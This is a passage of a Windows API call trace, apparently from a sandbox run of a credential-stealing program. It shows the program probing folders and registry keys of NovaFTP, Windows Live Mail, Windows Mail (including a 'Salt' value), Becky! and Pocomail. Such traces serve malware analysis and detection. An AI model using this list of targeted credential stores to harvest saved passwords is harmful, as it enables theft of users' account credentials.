0x0 [0079.694] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.694] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x56, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.694] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.694] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.694] MsiGetComponentPathA (in: szProduct="{74FF1730-B1F2-4D88-926B-1568FAE61DB7}", szComponent="{74FF1730-B1F2-4D88-926B-1568FAE61DB7}", lpPathBuf=0x66b940, pcchBuf=0x12fed4 | out: lpPathBuf="", pcchBuf=0x12fed4) returned 0xffffffff [0079.698] lstrlenA (lpString="") returned 0 [0079.698] LocalFree (hMem=0x66b940) returned 0x0 [0079.698] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.698] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.698] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.698] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.698] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.698] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.698] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.699] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.699] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.699] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.699] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x57, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.699] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.699] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.699] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.699] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.699] lstrlenA (lpString="\\INSoftware\\NovaFTP") returned 19 [0079.699] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0079.699] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.699] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\INSoftware\\NovaFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP" [0079.699] LocalFree (hMem=0x66b940) returned 0x0 [0079.699] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP") returned 51 [0079.699] lstrlenA (lpString="\\*.*") returned 4 [0079.699] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643b68 [0079.699] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP" [0079.699] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP\\*.*" [0079.699] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\INSoftware\\NovaFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.699] LocalFree (hMem=0x643b68) returned 0x0 [0079.699] LocalFree (hMem=0x643aa8) returned 0x0 [0079.699] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.699] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.699] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.699] lstrlenA (lpString="\\INSoftware\\NovaFTP") returned 19 [0079.699] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x629248 [0079.699] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.699] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\INSoftware\\NovaFTP" | out: lpString1="C:\\ProgramData\\INSoftware\\NovaFTP") returned="C:\\ProgramData\\INSoftware\\NovaFTP" [0079.699] LocalFree (hMem=0x66b940) returned 0x0 [0079.699] lstrlenA (lpString="C:\\ProgramData\\INSoftware\\NovaFTP") returned 33 [0079.699] lstrlenA (lpString="\\*.*") returned 4 [0079.700] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6293a8 [0079.700] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\ProgramData\\INSoftware\\NovaFTP" | out: lpString1="C:\\ProgramData\\INSoftware\\NovaFTP") returned="C:\\ProgramData\\INSoftware\\NovaFTP" [0079.700] lstrcatA (in: lpString1="C:\\ProgramData\\INSoftware\\NovaFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\INSoftware\\NovaFTP\\*.*") returned="C:\\ProgramData\\INSoftware\\NovaFTP\\*.*" [0079.700] FindFirstFileA (in: lpFileName="C:\\ProgramData\\INSoftware\\NovaFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.700] LocalFree (hMem=0x6293a8) returned 0x0 [0079.700] LocalFree (hMem=0x629248) returned 0x0 [0079.700] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.700] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.700] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.700] lstrlenA (lpString="\\INSoftware\\NovaFTP") returned 19 [0079.700] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0079.700] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.700] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\INSoftware\\NovaFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP" [0079.700] LocalFree (hMem=0x66b940) returned 0x0 [0079.700] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP") returned 49 [0079.700] lstrlenA (lpString="\\*.*") returned 4 [0079.700] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0079.700] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP" [0079.700] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP\\*.*" [0079.700] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\INSoftware\\NovaFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.700] LocalFree (hMem=0x643b68) returned 0x0 [0079.700] LocalFree (hMem=0x643aa8) returned 0x0 [0079.700] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.700] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.700] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.700] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.700] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.700] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.700] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x59, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.701] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x0) returned 0x2 [0079.701] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | out: phkResult=0x12fe74*=0x0) returned 0x2 [0079.701] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x0) returned 0x2 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.701] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.701] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x58, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.701] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.701] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x1f4) returned 0x0 [0079.701] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Salt", lpReserved=0x0, lpType=0x12fe98, lpData=0x0, lpcbData=0x12fe9c*=0x6405f8 | out: lpType=0x12fe98*=0x0, lpData=0x0, lpcbData=0x12fe9c*=0x0) returned 0x2 [0079.701] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.702] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | out: phkResult=0x12fe74*=0x1f4) returned 0x0 [0079.702] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Salt", lpReserved=0x0, lpType=0x12fe6c, lpData=0x0, lpcbData=0x12fe70*=0x12fe58 | out: lpType=0x12fe6c*=0x0, lpData=0x0, lpcbData=0x12fe70*=0x0) returned 0x2 [0079.702] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.702] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Mail", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x1f4) returned 0x0 [0079.702] RegQueryValueExA (in: hKey=0x1f4, lpValueName="Salt", lpReserved=0x0, lpType=0x12fe40, lpData=0x0, lpcbData=0x12fe44*=0x12fe2c | out: lpType=0x12fe40*=0x0, lpData=0x0, lpcbData=0x12fe44*=0x0) returned 0x2 [0079.702] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.702] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.702] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.702] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.702] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.702] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.702] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5a, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.702] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.702] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.702] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.702] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.702] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.703] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.703] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.703] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.703] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.703] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.703] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.703] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x5b, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.703] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.703] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.703] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Poco Systems Inc", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.704] LocalFree (hMem=0x66b940) returned 0x0 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.704] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Poco Systems Inc", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.704] LocalFree (hMem=0x66b940) returned 0x0 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.704] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.704] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.704] lstrlenA (lpString="\\Pocomail") returned 9 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.704] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.704] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Pocomail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail" [0079.704] LocalFree (hMem=0x66b940) returned 0x0 [0079.704] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail") returned 41 [0079.704] lstrlenA (lpString="\\*.*") returned 4 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.704] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail" [0079.704] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail\\*.*" [0079.704] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Pocomail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.704] LocalFree (hMem=0x647b70) returned 0x0 [0079.704] LocalFree (hMem=0x647ab8) returned 0x0 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.704] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.704] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.704] lstrlenA (lpString="\\Pocomail") returned 9 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.704] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.704] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Pocomail" | out: lpString1="C:\\ProgramData\\Pocomail") returned="C:\\ProgramData\\Pocomail" [0079.704] LocalFree (hMem=0x66b940) returned 0x0 [0079.704] lstrlenA (lpString="C:\\ProgramData\\Pocomail") returned 23 [0079.704] lstrlenA (lpString="\\*.*") returned 4 [0079.704] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652d58 [0079.704] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\Pocomail" | out: lpString1="C:\\ProgramData\\Pocomail") returned="C:\\ProgramData\\Pocomail" [0079.704] lstrcatA (in: lpString1="C:\\ProgramData\\Pocomail", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Pocomail\\*.*") returned="C:\\ProgramData\\Pocomail\\*.*" [0079.704] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Pocomail\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.705] LocalFree (hMem=0x652d58) returned 0x0 [0079.705] LocalFree (hMem=0x670c38) returned 0x0 [0079.705] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.705] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.705] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.705] lstrlenA (lpString="\\Pocomail") returned 9 [0079.705] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.705] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.705] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Pocomail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail" [0079.705] LocalFree (hMem=0x66b940) returned 0x0 [0079.705] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail") returned 39 [0079.705] lstrlenA (lpString="\\*.*") returned 4 [0079.705] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.705] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail" [0079.705] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Pocomail\\*.*" [0079.705] 